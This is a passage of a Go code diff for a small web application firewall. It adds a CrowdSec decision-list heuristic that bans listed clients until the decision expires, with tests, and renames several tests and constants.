+	shown = append(shown, first.text(), second.text())
+
+	for _, path := range files {
+		data, err := os.ReadFile(path) //nolint:gosec // the test's
+		if err != nil {
+			t.Fatalf("read %s: %v", path, err)
+		}
+
+		shown = append(shown, string(data))
+	}
+
+	if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
+		t.Errorf(
+			"the key is shown in the output or the state and cache files:\n%s",
+			all,
+		)
+	}
+}
+
 // wantDeniedByList checks that the request log line is of a request the
 // blocklist at listURL refused.
 func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {

internal/waf/answertime_test.go

@@ -34,8 +34,8 @@ const (
 	answerTimeLimit = 2 * time.Second
 	// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
 	defaultLookupWait = 800 * time.Millisecond
-	// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
+	// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
-	defaultDNSBLAbuseIPDBWait = 2 * time.Second
+	defaultReputationWait = 2 * time.Second
 	// The header limits SPEC.md gives.
 	cookieLimit      = 50
 	headerFieldLimit = 100
@@ -48,6 +48,9 @@ const (
 	silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
 	// wholeLimit is the percentage of a rate limit that lowers it not at all.
 	wholeLimit = 100
+	// clientsDecision is the CrowdSec decision list holding client alone.
+	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
+		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
 )
 
 // cookies returns a Cookie header's value with count cookies.
@@ -293,6 +296,10 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
 			"/", leaveAsItIs,
 		},
 		{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
+		{
+			"the CrowdSec decision list",
+			map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
+		},
 		{
 			"a DNS blocklist", map[string]string{
 				dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
@@ -585,6 +592,12 @@ func listClient(t *testing.T, server *waf.Server, now time.Time) {
 	}
 }
 
+// decideOnClient puts client on the CrowdSec decision list.
+func decideOnClient(t *testing.T, server *waf.Server, now time.Time) {
+	t.Helper()
+	loadDecisions(t, server, now, clientsDecision)
+}
+
 // leaveAsItIs prepares nothing.
 func leaveAsItIs(*testing.T, *waf.Server, time.Time) {}
 
@@ -628,6 +641,12 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
 			prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
 		},
+		{
+			name:    "the CrowdSec decision list",
+			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
+			prepare: decideOnClient, status: forbidden,
+			action: requestlog.ActionTemporarilyBanned,
+		},
 		{
 			name: "the header limits", cookie: cookies(cookieLimit + 1),
 			prepare: leaveAsItIs, status: tooLarge,
@@ -637,9 +656,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			// In a synctest bubble, as
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-			// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
+			// says, so that a request that does not wait takes no time at all.
-			// so that a request that does not wait takes no time at all.
 			synctest.Test(t, func(t *testing.T) {
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
@@ -755,14 +773,14 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 		dnsblZones: dnsblZone, dnsblResolver: resolver,
 		abuseIPDBKey:  accountKey,
 		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
+		crowdSecURL: held, crowdSecKey: bouncerKey,
 	})
 
 	// The lists are fetched outside the synctest bubble below: a wait on the
 	// network inside it would keep its clock from moving on.
 	go server.Lists.Run(t.Context())
 
-	// In the bubble, as
+	// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
-	// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
 	// answer takes exactly as long as waf waits, however busy the host is.
 	// GeoJS and AbuseIPDB never answer there, without the network. The query to
 	// the DNS blocklist waits on the network, which stops the bubble's clock,
@@ -824,7 +842,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 		// The query is answered, and the check with AbuseIPDB abandoned,
 		// before the bubble ends.
 		releaseResolver()
-		time.Sleep(defaultDNSBLAbuseIPDBWait)
+		time.Sleep(defaultReputationWait)
 	})
 }
 

internal/waf/bans.go

@@ -11,6 +11,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 
@@ -205,6 +206,57 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 	return banAction(ban.Permanent())
 }
 
+// banForCrowdSec bans the client's netblock at now until decision,
+// CrowdSec's decision on the client, ends. In observe mode it makes no
+// ban, and raises the alert for the ban it would have made, if that alert
+// would be sent. It returns the action for that ban.
+func (rq *request) banForCrowdSec(
+	now time.Time,
+	decision reputation.Decision,
+) string {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe &&
+		!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return banAction(
+			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
+		)
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, rq.h.config.BanResponse),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
+			netblock,
+			now,
+			decision.Expires,
+			decision.Scenario,
+			notes,
+		)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return banAction(ban.Permanent())
+	}
+
+	ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
+		decision.Scenario, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+
+	return banAction(ban.Permanent())
+}
+
 // wouldAlertBan reports whether the alert for a ban on netblock for cause
 // made at now would be sent. In observe mode the ban the request would
 // have made is worked out only then, at most once per

internal/waf/biased.go

@@ -20,8 +20,8 @@ type percentage struct {
 // client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
 // SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
 // SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
-// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
+// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
-// before its request goes on.
+// then needed before its request goes on.
 func biasedThresholdsSet(cfg *config.WAF) bool {
 	return len(cfg.ASNBytesLimitPercent) > 0 ||
 		len(cfg.CountryBytesLimitPercent) > 0 ||
@@ -70,10 +70,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 		}
 	}
 
-	dnsblAbuseIPDBListed := percentage{percent: whole}
+	reputationListed := percentage{percent: whole}
 	if (rq.dnsblListed || rq.abuseIPDBHit) &&
 		cfg.DNSBLAbuseIPDBAction == "limit" {
-		dnsblAbuseIPDBListed = percentage{
+		reputationListed = percentage{
 			cfg.DNSBLAbuseIPDBLimitPercent,
 			"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
 		}
@@ -120,7 +120,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 	}
 
 	// The limits that lower requests and bytes alike.
-	common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
+	common := lowest(otherTags, unknown, blocklisted, reputationListed)
 
 	return lowest(asnRequests, countryRequests, common),
 		lowest(asnBytes, countryBytes, common)

internal/waf/biased_test.go

@@ -150,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 	}
 }
 
-func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -303,7 +303,7 @@ func TestLowestPercentageApplies(t *testing.T) {
 	}
 }
 
-func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -330,14 +330,11 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
 	}
 }
 
-func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
+func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
-	// In a synctest bubble, as
+	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-	// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
+	// says, with a GeoJS that never answers.
-	// a GeoJS that never answers.
 	synctest.Test(t, func(t *testing.T) {
 		server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
 			map[string]string{unknownCountryLimitPercent: "0"})
@@ -385,9 +382,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 		t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 
-			// In a synctest bubble, as
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-			// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
+			// says, with a GeoJS that never answers.
-			// with a GeoJS that never answers.
 			synctest.Test(t, func(t *testing.T) {
 				server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
 					map[string]string{

internal/waf/bytelimits_test.go

@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
 	}
 }
 
-func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
+func TestBytesCountSaysWhichBytesCount(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {

internal/waf/coreruleset_test.go

@@ -276,7 +276,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 	wantCoreRuleSet(t, line, nil)
 }
 
-func TestCoreRuleSetScoreThreshold(t *testing.T) {
+func TestAnomalyThreshold(t *testing.T) {
 	t.Parallel()
 
 	// A score under the threshold, or with the threshold off, is logged,
@@ -526,7 +526,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
 	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
 }
 
-func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -582,7 +582,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
 	)
 }
 
-func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
 	t *testing.T,
 ) {
 	t.Parallel()

internal/waf/crowdsec.go

@@ -0,0 +1,54 @@
+package waf
+
+// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
+// through the reputation lists.
+
+import (
+	"context"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// crowdSec refuses a request when a decision of the CrowdSec decision list on
+// the client is in force at now. It then adds the tag crowdsec, notes the
+// list, as noteHit does, and bans the client until that decision ends. Its
+// figures are the decision's scenario and when it ends.
+type crowdSec struct{}
+
+func (crowdSec) name() string { return "crowdsec" }
+
+func (crowdSec) check(
+	_ context.Context,
+	rq *request,
+	now time.Time,
+) *verdict {
+	decision, listed := rq.crowdSecDecisionInForce(now)
+	if !listed {
+		return nil
+	}
+
+	rq.addTag(config.CrowdSecTag)
+	rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
+		"listed by the CrowdSec decision list")
+
+	return &verdict{
+		action: rq.banForCrowdSec(now, decision),
+		figures: map[string]any{
+			"scenario": decision.Scenario,
+			"expires":  requestlog.FormatTime(decision.Expires),
+		},
+	}
+}
+
+// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
+// the client that is in force at now, and reports whether there is one, which
+// the heuristic crowdsec refuses the request for.
+func (rq *request) crowdSecDecisionInForce(
+	now time.Time,
+) (reputation.Decision, bool) {
+	return rq.h.lists.CrowdSecDecision(rq.client, now)
+}

internal/waf/crowdsec_test.go

@@ -0,0 +1,249 @@
+package waf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// The CrowdSec settings, and the tests' engine, which is never asked: each
+// test puts in the copy of its decision list, at decisionsURL, that it
+// needs, as lists.json would at start.
+const (
+	crowdSecURL  = "SWW_WAF_CROWDSEC_LAPI_URL"
+	crowdSecKey  = "SWW_WAF_CROWDSEC_LAPI_KEY"
+	lapi         = "http://crowdsec.example:8080"
+	decisionsURL = lapi + "/v1/decisions"
+	bouncerKey   = "crowdsec-key-0123456789abcdef"
+)
+
+func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
+	})
+	// client had four hours left on its decision as the engine answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
+
+	// Its first request is refused, and bans it until the decision ends.
+	banned := requestlog.ActionTemporarilyBanned
+	line := s.get(client, http.StatusForbidden, banned)
+	wantReputation(t, line, decisionsURL)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s",
+			line.BanExpires, expires)
+	}
+
+	listed := []bans.ReputationHit{{Source: decisionsURL}}
+
+	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
+		!held[0].Start.Equal(fetched) ||
+		!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
+		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
+		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
+		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
+		t.Fatalf(
+			"bans %+v, want one for crowdsec of four hours, with the list and "+
+				"the request in its notes",
+			held,
+		)
+	}
+
+	// The listing raises a reputation_hit alert, and the ban its own.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
+		waiting[0].Reason != "listed by the CrowdSec decision list" ||
+		!reflect.DeepEqual(
+			waiting[1],
+			banAlert(alerts.EventBan, fetched, client, held[0],
+				expires),
+		) {
+		t.Errorf(
+			"alerts waiting %+v, want a reputation_hit alert, then the ban's",
+			waiting,
+		)
+	}
+
+	// Each request while the ban lasts is refused under it, as under any
+	// ban, and once it has ended the client is let through.
+	clk.advance(4*time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, banned)
+	wantReputation(t, line)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s",
+			line.BanExpires, expires)
+	}
+
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// The ban and the hit are counted, and the list has the metrics of any
+	// list fetched from a URL.
+	metrics := s.scrape()
+	labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
+
+	wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
+		`instance="`+alertInstance+`"}`, 1)
+	wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
+	wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
+	wantMetric(
+		t,
+		metrics,
+		"sww_reputation_last_fetch_timestamp_seconds"+labels,
+		float64(fetched.Unix()),
+	)
+}
+
+func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, _ := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey,
+	})
+	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+
+	line := s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
+	wantHeuristic(
+		t,
+		line,
+		"crowdsec",
+		`{"scenario": "crowdsecurity/ssh-bf", `+
+			`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
+	)
+	wantTags(t, line, "crowdsec")
+}
+
+func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey,
+	})
+	// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
+	// answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
+		`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
+		`"value": "2001:db8::9"}]`)
+
+	// Just before its end, the decision bans a client in the netblock, and
+	// one on an IPv6 address bans the address's group, the /64.
+	clk.advance(time.Minute - time.Nanosecond)
+	s.get(
+		"198.51.100.7",
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
+	s.get(
+		"2001:db8::9",
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
+	s.get(
+		"2001:db8::5",
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
+
+	// Once it has ended, it bans no other client, and the bans it made end
+	// with it.
+	clk.advance(time.Nanosecond)
+
+	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
+		wantReputation(
+			t,
+			s.get(from, http.StatusOK, requestlog.ActionForward),
+		)
+	}
+
+	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
+		t.Errorf(
+			"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
+				"2001:db8::/64",
+			made,
+		)
+	}
+
+	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
+		held,
+	) != 1 {
+		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
+	}
+}
+
+func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
+	})
+	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("bans %+v, want none", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
+		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
+		waiting[1].Detail["mode"] != observe {
+		t.Errorf(
+			"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
+				"marked observe",
+			waiting,
+		)
+	}
+}
+
+// loadDecisions puts into server's lists the copy of the decision list at
+// decisionsURL, answer, the engine's answer, fetched at fetched, as
+// lists.json would at start.
+func loadDecisions(
+	t *testing.T, server *waf.Server, fetched time.Time, answer string,
+) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
+	}})
+	if err != nil {
+		t.Fatalf("load the decision list: %v", err)
+	}
+}

internal/waf/heuristics.go

@@ -60,6 +60,7 @@ func afterLookup() []heuristic {
 	return []heuristic{
 		countries{},
 		blocklists{},
+		crowdSec{},
 		dnsbl{},
 		abuseIPDB{},
 		tagDeny{},

internal/waf/lookup_test.go

@@ -438,9 +438,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
 	}
 }
 
-func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
+func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	// The test runs in a synctest bubble, where the time package runs on a

internal/waf/proxy.go

@@ -75,8 +75,8 @@ type Params struct {
 	Rules *rules.Files
 	// Alerts receive the alert for each ban waf makes or makes
 	// permanent, for each count over an anomaly threshold, for each request
-	// whose client a blocklist, a DNSBL zone or AbuseIPDB lists, for each
+	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
-	// request the Core Rule Set scores at or over
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
 	// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, and for GeoJS failing, a fetch of a list
 	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
 	// or the day's AbuseIPDB checks used up.
@@ -194,13 +194,11 @@ func newReputation(
 ) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
 	cfg := params.Config
 	lists := reputation.New(reputation.Params{
-		BlocklistURLs:      cfg.BlocklistURLs,
+		BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
-		Refresh:            cfg.BlocklistRefresh,
+		ASNLimitPercentURL:   cfg.ASNLimitPercentURL,
-		ASNLimitPercentURL: cfg.ASNLimitPercentURL,
+		TagLists:             cfg.TagLists,
-		TagLists:           cfg.TagLists,
+		CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
-		Now:                params.Now,
+		Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
-		ProcessLog:         params.ProcessLog,
-		Alerts:             params.Alerts,
 	})
 	dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
 		Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver,

internal/waf/refusallimit.go

@@ -16,7 +16,7 @@ import (
 // in observe mode if enforce mode would have: more than
 // SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
 // a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
-// heuristics skip, is not counted, and nothing is while the limit is off.
+// heuristics skip, is not counted, and nothing is while the threshold is off.
 // Its figures are the window, the count and the limit.
 type refusalLimit struct{}
 

internal/waf/refusallimit_test.go

@@ -48,15 +48,15 @@ func (r refused) send(s *sender, from string) logLine {
 	return logLine{}
 }
 
-// startForRefusalLimit is startWithClock with testRules, the metrics token and
+// startForErrorBurst is startWithClock with testRules, the metrics token and
-// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
+// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
-func startForRefusalLimit(
+func startForErrorBurst(
-	t *testing.T, limit string, env map[string]string,
+	t *testing.T, threshold string, env map[string]string,
 ) (*sender, *clock, *waf.Server) {
 	t.Helper()
 
 	settings := map[string]string{
-		refusalsLimitPerMinute: limit,
+		refusalsLimitPerMinute: threshold,
 		ruleFilesDir:           writeRules(t, testRules),
 		metricsToken:           token,
 	}
@@ -65,12 +65,12 @@ func startForRefusalLimit(
 	return startWithClock(t, "", settings)
 }
 
-func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
+func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
 		name string
-		// refusals are four, one over the limit of three.
+		// refusals are four, one over the threshold of three.
 		refusals []refused
 		// nextAction is the action of the client's next request: the next
 		// request after a ban for a ban rule makes it permanent.
@@ -90,7 +90,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _ := startForRefusalLimit(t, "3", nil)
+			s, _, _ := startForErrorBurst(t, "3", nil)
 
 			// Three refusals break nothing, and the app's answers between
 			// them are not counted.
@@ -109,8 +109,8 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
 				s.get(client, http.StatusOK, requestlog.ActionForward)
 			}
 
-			// The fourth is answered as the others were, breaks the refusal
+			// The fourth is answered as the others were, breaks the error
-			// limit, and bans the client.
+			// burst, and bans the client.
 			line := tc.refusals[3].send(s, client)
 			if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
 				line.Offence != requestlog.OffenceLimit {
@@ -130,7 +130,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
 func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 	t.Parallel()
 
-	s, _, _ := startForRefusalLimit(t, "1", nil)
+	s, _, _ := startForErrorBurst(t, "1", nil)
 
 	const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
 
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 		`{"window": "minute", "count": 2, "limit": 1}`)
 }
 
-func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
+func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server := startForRefusalLimit(t, "2", nil)
+	s, clk, server := startForErrorBurst(t, "2", nil)
 	start := clk.Now()
 
 	blockRule.send(s, client)
@@ -221,7 +221,7 @@ func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
 	)
 }
 
-func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
+func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 	t.Parallel()
 
 	geojsURL, _ := startGeoJS(t)
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 		tagLimitPercent:            countryTagDEHalf,
 	})
 
-	// Half of the limit would be one, which the second refusal is over.
+	// Half of the threshold would be one, which the second refusal is over.
 	for range 2 {
 		line := blockRule.send(s, fromDE)
 		if line.LimitHit != "" {
@@ -252,7 +252,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 	}
 }
 
-func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
+func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 	t.Parallel()
 
 	statuses := map[string]int{
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
 		}
 	}
 
-	// The first refusal is one, not over the limit.
+	// The first refusal is one, not over the threshold.
 	line := blockRule.send(s, client)
 	if line.LimitHit != "" {
 		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -293,23 +293,23 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
 	wantAlerts(t, queue)
 }
 
-func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
+func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
-		limit string
+		threshold string
 		// broken is whether the 31st refusal breaks the refusal limit.
 		broken bool
 	}{
 		{"", true},
 		{off, false},
 	} {
-		t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
+		t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
 			t.Parallel()
 
 			env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
-			if tc.limit != "" {
+			if tc.threshold != "" {
-				env[refusalsLimitPerMinute] = tc.limit
+				env[refusalsLimitPerMinute] = tc.threshold
 			}
 
 			s, _, _ := startWithClock(t, "", env)
@@ -331,7 +331,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
 	}
 }
 
-func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
